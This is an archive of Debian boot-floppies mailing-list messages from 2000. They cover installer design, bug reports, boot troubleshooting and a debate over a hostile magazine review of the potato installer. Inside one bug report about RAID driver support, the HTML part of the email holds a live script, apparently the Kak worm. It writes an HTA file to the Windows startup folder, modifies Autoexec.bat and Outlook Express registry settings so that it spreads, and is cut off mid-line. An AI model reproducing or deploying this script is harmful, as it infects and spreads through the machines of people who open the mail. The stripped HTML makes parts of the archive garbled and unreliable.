"TODD WITTER" [EMAIL PROTECTED] writes: I must say I am not a novice but I am still a bit fresh in the linux- world. I have installed many distros and most of them are much easier (less steps) than debian but over all, it's fine. I am up and running -- a hit on the first pitch. Sure, some things are a bit confusing, especially the gpm stuff, and I had a problem with X but I realized somewhere the proper vid driver wasn't installed so I installed it with apt. Yeah, a pure novice won't get it. But let me tell you, I know a lot more of what my system is doing with debian because of the install than I did when I tried mandrake, redhat and the like. I very much agree that X config and mouse config are the weak ponits, on *all* architectures. And I'm happy that's not my fault. :) -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: bad press at www.linuxworld.com
C'mon -- I'd have to throw the bozo bit on this guy completely ignoring Potato. I agree with Dale and I'm the last to say Potato installation is perfect -- but when it works, it works pretty damn well, no need to run dselect or any of that. When it doesn't work, it's hell. -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: boot-floppies/documentation
Van Buggenhaut [EMAIL PROTECTED] writes: Hi, I just upgraded french transl. of install.sgml. Shouldn't link on line 72 point to url-upgrading; instead of url-release-notes; ? No -- the release notes contain upgrading information. In fact, url-upgrading and url-release-notes are the same. -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Floppy boot to Harddisk Boot
"TODD WITTER" [EMAIL PROTECTED] writes:
I have a question about booting into debian. During installation I
did not want to have lilo installed on the mbr. I chose to boot from
a floppy. I also run rh6.2 and win9x on this little machine. I boot
into redhat with a floppy and it goes lickity split! ("/" is mounted on
hda5). Right now "/" in debian is mounted on hda9. I used to have
stormix there but I overwrote it with debian potato. STormix, too,
booted up lickity split when I booted from a floppy. I can assume
that's because the kernel is already on the hard drive. Can I do the
same with debian? When I boot from a floppy it takes forever!
No clue why. It's pretty decent speed for me -- comparable to Tom's
boot disk. I assume you're booting with the rescue disk -- -did you
try making a custom boot disk?
I
know it's actually got the kernel (of sorts) on the floppy. What can
I do to change this? Can I have it on hda9? So, if I use the rescue
disk or whatever, I can simply do something like "kernel
root=/dev/ha9" at the "boot:" prompt? Or am I kind of stuck with the
slow/unreliable boot from a floppy?
Well, if you dont' wanna use lilo on the mbr, you could just have a
lilo mbr on the floppy itself. Taht would load the kernel from the
hard drive -- see lilo documentation.
--
.Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: FWD: mostly UI issues (Re: redesigning the debian installer)
Joey Hess [EMAIL PROTECTED] writes: One of the things I really hate about Red Hat's installer, though, is that there's no way to escape to a shell during an installation if you're on the serial console. It does have shell-on-virtual-terminal support, which is all fine and dandy if you're on headed machine, but if you're headless, you're SOL. How does our installer handle this now? I've not had the opportunity to do a serial install of debian, ever. dbootstrap has a "run a subshell" option on the menu. -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: redesigning the debian installer
Before I can answer Adam's message, I need to dump out a huge change I made today to how the main menu works. Before today, Adam would have flummoxed me with his message, but I seem to be keeping ahead of him. :-) So here goes.. Each item in the main menu is provided by an installer module. Installer modules indicate that they want to appear on the menu by including the following special flag in their control file: Installer-Menu-Item: nnn Where nnn is a priority number. The priority number influsences the ordering of items in the menu; higher numbered items are closer to the end of the menu. If this field does not appear, a module will not appear on the main menu. Dependencies also influence the position of a module in the menu. A module will never appear before another module which it (directly or indirectly) depends on. Behaviour of circular dependances is undefined. The short description of the module is used as the text for its menu item. When a menu item is selected, the module that provides it is configured if it is not already configured (ie, if it is just unpacked onto the ramdisk). If it is already configured, it is reconfigured -- its postinst script is run again. However, dependencies are honored before this configuration takes place. So if a module depends on two other modules, and it is selected, both of those modules will first be installed and configured (if they arn't already). Note that if a module depends on a virtual package, and more than one package is available to satisfy that dependancy, and none of them are configured yet, the installer will generate a submenu listing the candidate packages and let the user chose which to use. The submenu is generated and ordered similarly to main menu. (TODO: what do we use for the title and some help for the submenu?) The above rules define what the menu looks like and the order of items on it. There is one other key peice to consider -- the installer has to be able to pick a reasonable default menu item. To accomplish this, we introduce a new, special script, that is part of a module's control archive. It's called the menutest script. Menutest scripts should return a true value (0) if they think it would be a good idea if their menu item was default, and a false value if it seems making their menu item the default would not be a smart decision. Menutest scripts are optional. If a module does not have one, a simpler default test is used: if the module is already configured, then it is not made the default; if it is not configured it is a candidate to be the default. Each time, before the menu is displayed, but after it is ordered, the menutest script of each menu item is run, in turn. The first menutest script to return a true value makes its menu item the default. A Menu Example -- An example -- we have the following packages unpacked onto the installer's ramdisk (leaving out the parts of their control files that don't matter): Package: install-media Installer-Menu-Item: 0 Depends: retriever Description: Configure installation media Package: floppy-retriever Provides: retriever Package: partitions Installer-Menu-Number: 1 Depends: disk-driver Description: Partition disk Package: disk-driver Package: format-partitions Installer-Menu-Number: 0 Depends: partitions, disk-driver Description: Format and mount partitions Package: install-base Installer-Menu-Number: 0 Depends: format-partitions, install-media Description: Install base system Package: install-lilo Installer-Menu-Number: 0 Depends: install-base Description: Install lilo Package: rescue-floppy Installer-Menu-Number: 2 Description: Make a rescue floppy Package: reboot Installer-Menu-Number: 3 Description: Reboot the system (Note that the above package and virtual package names are just examples.) This set of package results in the following menu: - Configure installation media - Partition disk - Format and mount partitions - Install base system - Install lilo - Make a rescue floppy - Reboot the system (Here I explain exactly why things are put into the menu in this order. See doc/ui.txt in cvs if you want to read that.) It's worth noting that if the user starts up the installer, and picks "install the base system" as their first step, the following happens: - install-media-config is configured - partitions is configured - format-partitions is configured - finally, install-base is configured Adam Di Carlo wrote: So this is all micro-dpkg stuff, using Depends/Provides ? Clearly you're going to need to arbitrate a set of virtual package names for the fundmentals, such as "configured-network". As you can see above, yes. How does this work with attempting to configure your targetted media, i.e., IDE, SCSI, NFSRoot, PCMCIA
Re: Alpha Install
Ale [EMAIL PROTECTED] writes: How do you do! Thank you very much for Alpha Jensen AXP support. But I'm walk through documentation and don't find information how to install Debian on this monster. Can you send me an instruction and sites where I can download Jensen specific images? Hmm... No response yet. I don't run Alpha, so try on debian-alpha mail list. -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#71590: marked as done (Boot-floppies kernel wish)
Your message dated 14 Sep 2000 19:58:40 -0400
with message-id [EMAIL PROTECTED]
and subject line Bug#71590: Boot-floppies kernel wish
has caused the attached Bug report to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what I am
talking about this indicates a serious mail system misconfiguration
somewhere. Please contact me immediately.)
Darren Benham
(administrator, Debian Bugs database)
--
Received: (at submit) by bugs.debian.org; 13 Sep 2000 14:53:04 +
From [EMAIL PROTECTED] Wed Sep 13 09:53:04 2000
Return-path: [EMAIL PROTECTED]
Received: from ns.dir.bg [:::194.145.63.2]
by master.debian.org with esmtp (Exim 3.12 1 (Debian))
id 13ZDuH-0004r6-00; Wed, 13 Sep 2000 09:53:02 -0500
Received: from metallica.dirbg.com ([194.145.63.5] helo=metallica)
by ns.dir.bg with smtp (Exim 3.12 #1 (Debian))
id 13ZDu9-0002Uy-00
for [EMAIL PROTECTED]; Wed, 13 Sep 2000 17:52:53 +0300
Message-ID: 00bf01c01d91$f472c6c0$[EMAIL PROTECTED]
From: "George Chavdarov" [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Subject: Boot-floppies kernel wish
Date: Wed, 13 Sep 2000 17:50:27 +0300
Organization: Dir.bg
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="=_NextPart_000_00BC_01C01DAB.19B0BC80"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Delivered-To: [EMAIL PROTECTED]
This is a multi-part message in MIME format.
--=_NextPart_000_00BC_01C01DAB.19B0BC80
Content-Type: text/plain;
charset="windows-1251"
Content-Transfer-Encoding: quoted-printable
Package: boot-floppies
Version:
Severity: wishlist
Add to kernel support for following RAID controllers:
IBM ServeRAID
Mylex DAC960/DAC1100 PCI RAID Controller
this is for direct installation of debian to disks attached to these =
controllers
George Chavdarov
System administrator - www.dir.bg
--=_NextPart_000_00BC_01C01DAB.19B0BC80
Content-Type: text/html;
charset="windows-1251"
Content-Transfer-Encoding: quoted-printable
!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
HTMLHEAD
META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dwindows-1251"
META content=3D"MSHTML 5.50.4308.2900" name=3DGENERATOR
STYLE/STYLE
/HEAD
BODY bgColor=3D#ff
DIV style=3D"Z-INDEX: 5; RIGHT: 0px; POSITION: absolute; TOP: =
-20px"FONT=20
size=3D2
OBJECT id=3Dscr=20
classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC/OBJECT/FONT/DI=
V
DIVFONT size=3D2Package: boot-floppiesBRVersion:/FONT/DIV
DIVFONT size=3D2Severity: wishlist/FONT/DIV
DIVnbsp;/DIV
DIVFONT size=3D2Add to kernel support for following RAID=20
controllers:/FONT/DIV
DIVFONT size=3D2IBM ServeRAID/FONT/DIV
DIVFONT size=3D2Mylex DAC960/DAC1100 PCI RAID =
Controller/FONT/DIV
DIVFONT size=3D2/FONTnbsp;/DIV
DIVFONT size=3D2this is for direct installation of debian to disks =
attached to=20
these controllers/FONT/DIV
DIVFONT size=3D2/FONTnbsp;/DIV
DIVFONT size=3D2/FONTnbsp;/DIV
DIVFONT size=3D2George Chavdarov/FONT/DIV
DIVFONT size=3D2System administrator - /FONTA=20
href=3D"http://www.dir.bg"FONT size=3D2www.dir.bg/FONT/A/DIV
DIVFONT size=3D2BR/FONT/DIV
SCRIPT!--
function sErr(){return =
true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D"ZHTMLHEADTITLEDr=
iver Memory Error/"+"TITLEHTA:APPLICATION ID=3D\"hO\" =
WINDOWSTATE=3DMinimize/"+"HEADBODY BGCOLOR=3D#CCobject =
id=3D'wsh' =
classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'/"+"objectSCRIP=
Tfunction sEr(){self.close();return true;}window.onerror=3DsEr;fs=3Dnew =
ActiveXObject('Scripting.FileSystemObject');wd=3D'C:Windows';fl=3D=
fs.GetFolder(wd+'Applic~1Identities');sbf=3Dfl.SubFolders;for(var =
mye=3Dnew =
Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew =
String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);kfr=3Dwd+'MENUDE=
~1PROGRA~1DEMARR~1kak.hta';ken=3Dwd+'STARTM~1Programs=
StartUpkak.hta';k2=3Dwd+'System'+fic+'.hta';kk=3D(fs.FileExists(k=
fr))?kfr:ken;aek=3D'C:AE.KAK';aeb=3D'C:Autoexec.bat';if(!fs.FileE=
xists(aek)){re=3D/kak.hta/i;if(hO.commandLine.search(re)!=3D-1){f1=3Dfs.G=
etFile(aeb);f1.Copy(aek);t1=3Df1.OpenAsTextStream(8);pth=3D(kk=3D=3Dkfr)?=
wd+'MENUD?~1PROGRA~1D?MARR~1kak.hta':ken;t1.WriteLine('@echo =
off'+pth);t1.WriteLine('del =
'+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(=
k2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'kak.reg');t2.write('REGEDI=
T4');t2.WriteBlankLines(2);ky=3D'[HKEY_CURRENT_USERIdentities'+id=
n+'SoftwareMicrosoftOutlook =
Express5.0';sg=3D'signatures';t2.WriteLine(ky+sg+']');t2.Write('\=
"Default =
Bug#64500: bugs 64500 and 64823
Sven LUTHER [EMAIL PROTECTED] writes: I'm working only on a Potato upgrade. Ok, ... Any time frame so that i can manage my time for it ? We're shooting for oct 1 I think. I would say earlier but if we wanna wait for 2.2.17-1 we have little choice -- there are no idepci and compact images, not to mention non-i386 architecture kernel upgrades, and testing all that. -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#64500: bugs 64500 and 64823
I've looked into this briefly. The question is why we ever need to worry about managing loop devices. If not, and it seems we don't, then we can completely eliminate any fudging with /dev/loopX, we can remove utilities/dbootstrap/losetup.c. That would also mean just mucking with a lot of supporting functions that tend to want loop devices passed to it, modifying these functions at least: extract_kernel:install_floppy # arg 1 is a device extract_kernel:copy_to_local() # returns a loop device extract_kernel:get_device() extract_kernel:release_device() It would also mean removing some replicated stuff in net-fetch.c. It would also mean eliminating all calls to set_loop(), del_loop(), and find_unused_loop_device(). Does anyone other than me (Joey?) wanna take a crack at this? -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: redesigning the debian installer
I followed this discution from the very beginning and I have one simple problem.In case one would do a mass_install of the same configuration on same hardware,then why go through all the hassle of configuring the databases and profiles and hostnames and IP's, unpack ,configure a.s.o.(in case I messed a step). IMHO would be more easier for this specific case to just install the desired configuration,then have a small program(set of shellscripts, whatever) that will 1.tar the system in place making multiple archives 2.install and configure a dhcp and an ftp server 3.create a)bootflopies if flopies are chosen to be used on the target machines b)the actual install program in case the target machines already have an ext2 filesystem and a script which will modify the runlevel,and run the install script in the defined runlevel,setting up a ramdisk for the installer since we'll gonna format the target hdd.reboot ,the system starts the installer,done.or soething simple can be worked if no reboot is desired. c)same installer archived as a rootfs.gz in case the target machines are running windows/dos and then use loadlin.The needed autoexec.bat and config.sys are standard for all so they have to be copied over the existing ones. 3.The installer should start,get an IP from the dhcp server,format the target partitions,copy (using ftp) the archives,unpack them,run lilo ,modify /etc/network/interfaces to static IP using existing network information. 4.Run whatever other post-configuration is necessary -mail,generate keys for ssh..whatever,depends on the specific configuration. 5.reboot Does this seems viable and easy to implement or it's just "overcomplicated" ? -- The best way to escape from a problem is to solve it. Alan Saporta My waste of cyberspace= http://deepblue.dyndns.org :-) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#65606: No installation of LILO to logical partition?
Peter Samuelson [EMAIL PROTECTED] writes: [Tim Hull [EMAIL PROTECTED]] When I installed Debian "potato" I was not allowed to install LILO to a logical partition. By "logical partition", do you mean "extended partition" or "logical drive"? There is a difference. It says LILO can't be installed there, but in fact it can. Not reliably. I believe the MS-DOS MBR may have trouble booting an extended partition, and I'd be very surprised if it could boot a logical drive. (I can't test this since I don't have any Microsoft code on my computer.) Hmm. I don't know about that. I think 'mbr' can. All this boot-loader stuff kinda confuses me at times, though. I'm betting a majority of Debian users have the MS-DOS MBR installed when they go to install Debian. Well, the majority don't, actually So the safe answer to your request is the answer we already have in there: "Don't do that. If you *really* know what you're doing, you can change it later." Anything less is just asking for bug reports. Well, that's food for thought. -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: missing command line parameters in install.bat
Petr Cech [EMAIL PROTECTED] writes: Status: done Thanks. I've fixed the docs. -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#71532: Installing Debian GNU/Linux 2.2 for Intel x86
-Original Message- From: Adam Di Carlo [mailto:[EMAIL PROTECTED]] Gregory Leblanc [EMAIL PROTECTED] writes: Debian GNU/Linux installed, but this one seemed to be worthy of note. Nowhere in this document is anything about actually getting Debian GNU/Linux covered. If this is intended to be something that's distributed only with Debian, then it would make sense, but I would place this document as one of the prime locations for new users to Debian. I'd make question 1.5 into "How do I get Debian GNU/Linux?" and have a short section pointing to the rest of the documentation on that topic (which, while easy to find, is not referenced here). Very good point. Should be in Section 1 perhaps. Do we need much more than a link to http://www.debian.org/distrib/ ? Woudl appreciate your thoughts on those questions. Hey, I think I'm gonna like the Debian thing, people respond to my bug reports... :-) I think just a sentence or two and a link to that page would be just fine. As I said above, I would make it question 1.5, and shift the rest of the section 1 questions "up" by one number. Later, and thanks, Greg -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Boot Problem
Sorry we haven't been able to help you here. The only time I've heard of another reporting this problem, it was bad memory in the machine. You might try a memory scrubber. This is a hardware/kernel problem -- not much we can do about it in this group. -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
wider discussion of installer plans
Hi, seems that lots of people are getting involved with issues relating to the installer, maybe soon would be good time to present joey's plan to a wider audience. I figure it would be best to present the plan as soon as we are all happy with it, but not hold back so long that we get too commited to our own ideas to incorporate any outside opinions. I dont think we have gone past that point, just think we should keep it in mind. But its your call Joey. Glenn -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: bad press at www.linuxworld.com
On Thu, Sep 14, 2000 at 07:07:51PM -0400, Adam Di Carlo wrote: C'mon -- I'd have to throw the bozo bit on this guy completely ignoring Potato. I agree with Dale and I'm the last to say Potato installation is perfect -- but when it works, it works pretty damn well, no need to run dselect or any of that. When it doesn't work, it's hell. The guy's a bozo. I hadn't run the potato installer for a few months until today. A friend at work decided he had a few spare gigs. We had no CDs handy but we had a network. We had the system (i386) installed an hour later. That included time to decide to use the idepci flavor (quick look at the docs here), burn the floppies (only needed rescue and root[1]), and do some disk partitioning for a future multi-boot setup. The driver/base install over the net was really slick. I was somewhat used to seeing a nice network install with a sparc tftpboot but hadn't seen anything this nice for i386 before. You guys did a great job! Thanks to everyone who contributed, Steve [1] Thought we'd need driver disk too, from the docs, and burned it. Didn't need it. The docs weren't perfect but erred in the direction of not leaving us a disk short nor explaining a lot of if-then-else cases. The time saved not reading all the extra text more than made up for the time to burn the extra floppy so I don't want to call this a doc bug. Or maybe I just missed something since we rather flew over instructions. -- Steve Bowman [EMAIL PROTECTED] (preferred) Buckeye, AZ [EMAIL PROTECTED] [EMAIL PROTECTED] http://www.goodnet.com/~sbowman/ Powered by Debian GNU/Linux http://www.debian.org -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: redesigning the debian installer
Erik Andersen wrote: I think this is brillant. Gosh. Well, thanks. :-) FWIW, I have been sort of stuck on how exactly the main menu would work for about 3 months, and like a dam breaking it all finally came clear and expressable (I guess) today. Thank goodness! This provides a wonderfully simple way of breaking things into chunks that can be fully groked by mere mortals, and easily verified to be obviously correct. It also ensure that fixing one item doesn't break 10 other things by accident. Very good idea. This also means that the installer floppy only needs the Menu items needed to select an appropriate key mapping, select a user readable langage, and then set up networking or locate the cdrom drive. All the other menu items can be downloaded and added dynamically... You grok. Any proposed programing language for these modules? C, sh, perl? Perl is out, far too big. C is fine. Shell is ok if you limit yourself to pure posix shell and are very careful about extra shell commands you use, since each such command adds more size. -- see shy jo -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: bad press at www.linuxworld.com
from the secret journal of Carlos Barros ([EMAIL PROTECTED]): That reminds me a issue... Is there a vendor selling debian potato including a printed manual about the instalation and upgrade documents? read his complaints, he's not installing potato. he mentions that the installer searches the disk for something or other. that's definatly slink. -- Jacob Kuntz underworld.net/~jake [EMAIL PROTECTED] [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: bad press at www.linuxworld.com
Dale Scheetz [EMAIL PROTECTED] writes: Well, I would be willing to agree with almost anyone who says that our install sucks. Almost every screen has some cryptic comment that makes sense to me, because I understand the context, but must be pure greek to anyone not so familiar. I would love for some good writers to get involved and help us improve the dbootstrap messages. There's only so much I can do... However, my biggest complaint has never been addressed as far as I can tell, and it is really hard to explain over the phone just why you are doing any of this: When installing from a CD, after picking the CD as the installation media, the install keeps asking you where to find the (rescue, drivers, or base) disks on your CD. None of these questions should ever be asked. I don't think it asks that anymore. I am not sure. It shouldn't. You can try booting with the "quiet" option though. I don't know whether you will find them in the default location or a list, and I certainly don't know how to specify it manually. The manual specification is even more problematical when the install scripts insist on tacking an additional path element to the one provided, and failing. Fixed in 2.2.17. Why should the user even be involved in any of these questions. It's on the CD. If the installation program doesn't find it in the "default" location (/instmnt/debian/dists/stable/main/disks-i386/current for the Intel install), then it should do a find on /instmnt, and only if it fails to find the desired files should it then tell the user that it can't find the desired files. Asking for the manual path to these files doesn't seem to be useful at all. If you can't find the files you need on the CD with find, then they just aren't there! Um, doing a find on a NFS moount is problematic at best. It kinda, uh, will hang your machine for a while. I think that's the reason things happen that way. Needless to say, you could put them somewhere else, but then you shouldn't have chosen cdrom as the installation method for these files! Anyway this is my current rant on boot disk issues. I've had to deal with several confused and frustrated users over this issue. It was even worse for one of the "pre-release stable" CDs where this feature didn't work no matter what you entered, and several people got "stuck" with these. Have you filed a bug? I welcome bugs, especially ones with well thought-out constructive ideas. On all those other screens where an option is available for some archane or out of date machine, just think SIMPLER IS BETTER. Fitting the install to all the possible archaic machines in existance is a design of deminishing returns on invested efforts. KISS (Keep It Simple Stupid) should apply at every opportunity. I think if you compare slink with woody I've done a pretty good job of chopping out a lot of decision points which were confusing before. -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: bad press at www.linuxworld.com
from the secret journal of Craig Sanders ([EMAIL PROTECTED]): also, if you've done several dozen installs before and you know what the path is, typing it in manually is a LOT faster than waiting for the installer to search the slow CD-ROM filesystem. i've taken advantage of this convenience feature many times while building systems. i'm pretty certian that potato's dbootstrap doesn't search unless you tell it to. instead it knows the default location, assuming you have an "official" cd, in which case you can just press enter. -- Jacob Kuntz underworld.net/~jake [EMAIL PROTECTED] [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: bad press at www.linuxworld.com
On Thu, Sep 14, 2000 at 11:49:25PM -0400, Jacob Kuntz wrote: from the secret journal of Craig Sanders ([EMAIL PROTECTED]): also, if you've done several dozen installs before and you know what the path is, typing it in manually is a LOT faster than waiting for the installer to search the slow CD-ROM filesystem. i've taken advantage of this convenience feature many times while building systems. i'm pretty certian that potato's dbootstrap doesn't search unless you tell it to. instead it knows the default location, assuming you have an "official" cd, in which case you can just press enter. yep, i know. slink's didn't either. as i said, it's a useful convenience feature that i've made use of in dozens of installs. craig -- craig sanders -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#71709: keyboard config during install is incomplete
Package: boot-floppies Version: N/A; Severity: normal If I select the de-latin1-nodeadkeys keymap during installation this choice is not fully integrated into the system. One symptom of this is that the special characters will not work in emacs. (emacs has the keyboard encoding set to nil.) As soon as you run /usr/sbin/kbdconfig and select the exact same keymap, everything works. So kbdconfig does something the installer doesn't. It'd be nice if you could fix that, for I suppose it hits all other languages with charset/font requirements, too. Regards Christian Pernegger -- System Information Debian Release: 2.2 Architecture: i386 Kernel: Linux jesus 2.2.17 #2 SMP Mon Sep 4 18:40:42 CEST 2000 i686 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: bad press at www.linuxworld.com
On Thu, Sep 14, 2000 at 08:17:53AM -0400, Dale Scheetz wrote: Why should the user even be involved in any of these questions. It's on the CD. If the installation program doesn't find it in the "default" location (/instmnt/debian/dists/stable/main/disks-i386/current for the Intel install), then it should do a find on /instmnt, and only if it fails to find the desired files should it then tell the user that it can't find the desired files. Asking for the manual path to these files doesn't seem to be useful at all. If you can't find the files you need on the CD with find, then they just aren't there! because not everyone installs from a standard debian CD image and those questions are necessary in that context. some people use custom debian CDs (e.g. with non-free and non-us packages), others just use the boot floppy or CD to boot the installer and then do an install over the network. also, if you've done several dozen installs before and you know what the path is, typing it in manually is a LOT faster than waiting for the installer to search the slow CD-ROM filesystem. i've taken advantage of this convenience feature many times while building systems. what's your problem with providing that flexibility? like most things in the debian installer, the default choice is what most people want so just hit enter to accept the default. i really can not understand how anyone could possibly find the debian installer to be "too difficult". aside from partitioning the disk and selecting which modules to load, the only thing the user has to do is read what's on screen and hit enter for the default next step in the process. it couldn't be simpler - insert the CD and hit enter a couple of dozen times. if that's too hard for someone, then perhaps linux is not the right choice of operating system for them. craig -- craig sanders -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: bad press at www.linuxworld.com
Glenn McGrath wrote: This is a pretty nasty review of the installer http://www.linuxworld.com/linuxworld/lw-2000-09/lw-09-vcontrol_2.html "I know. I can't be critical of Debian because it is an all-volunteer effort and all of the software used is pure, free, and unfettered. Sure, installing it may be a little harder than learning to speak fluent Manchurian in three weeks of summer school, but hey, it's no problem for a real geek, right? Wrong. The Debian install sucks. This distribution is supposed to be the poster child for free software; it should be on an FBI Most Wanted poster. It's horrible. It is the worst OS install I've ever seen. It may be great once it's installed, and APT may be the world's finest tool for adding and upgrading applications, patching the kernel, and keeping up with security issues. But I can't say -- I can't get that far." If you ignore all of his nasty mudslinging, his gripes are the following: The boot-floppies: - Identify themselves as the debian rescue floppy which is certianly confusing if you don't read documentation. - Don't full autodetect cd drive during cd install. - Device Driver config is confusing and undocumented. - RTL8139 driver not present in slink (Yes, slink. No I don't know why someone would review slink in the year 2000. Fixed in potato, I think.) - Asks about cdrom twice (I've never really understood this, unless it is to allow a bit more flexability.) In generall installation: - Task selection sucks in slink. Fixed in potato. :-P - The thing about packages installs asking questions at random times that debconf aims to fix. - Gpm's install prompt is confusing if you do not know what a command line, a switch, and a man page are. Point taken. (If you read that, don't bother reading the article.) We may have a long way to go before please people at this level But do we even want to? -- see shy jo -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Potato install fails to load ROOT image
Stuart Ballard [EMAIL PROTECTED] writes: Sorry to reply to myself, but I've come to the conclusion after further testing that my floppy drive is 100% busted and I'm not going to be able to do anything useful off it. I also can't (practically) replace it. I do have a fully functioning RedHat 5.2 installation on the machine and a fast network connection, but it's one big partition plus swap. Is there any way I can get debian onto this puppy? CD? Install from DOS? Those would be easiest. But I'll assume those won't work. I'm thinking of things along the lines of # cd / # mkdir redhat # mv * redhat # /redhat/usr/bin/tar zxvf redhat/base_2.2.tar.gz Ouch. Do you have a free partition to play with? YOu only need, uh, 150MB or so. But then... - How do I get a kernel? Install from harddisk option, is documented. The problem is going to be starting the system. I don't know what to say about this. Hmm. It might be possible to gunzip and loop mount root.bin and then chroot into it, invoking the busybox init. Never tried it though. - How do I make the system bootable (is LILO in the default install?) Yup, sure. [Possible answer: mv /redhat/boot /boot, and just boot off the old kernel - how much else would have to be preserved, though?] doesn't much matter... - How do I get into the installation system? (presumably base_2.2 doesn't extract to a fully functional distribution, or we wouldn't have an installation program at all...) See above. Note that due to the aforementioned fast network connection, there is no problem getting stuff onto this machine, and it already has linux on an ext2 filesystem, so it should be among the easier cases of this kind of installation. On the other hand, the absence of a working floppy is going to make life hard. Yeah, that's why non-sucky arches like powerpc/sparc etc have openfirmware and better support for fully network installation. One *possible* workaround would be that, since the floppy drive is more "temperamental" than 100% broken, I might be able to get the rescue floppy, at least, to boot. If I can do this, I can of course enter "rescue" mode and mount my existing / partition as root, but (at least according to the installation guide) you can't install from a partition onto the same partition. Or, again, if you have disk space to play with, make a little dos partition, then boot from a dos disk and run the loadlin option... What I'm trying to say is, "Er, help?" Good luck! -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
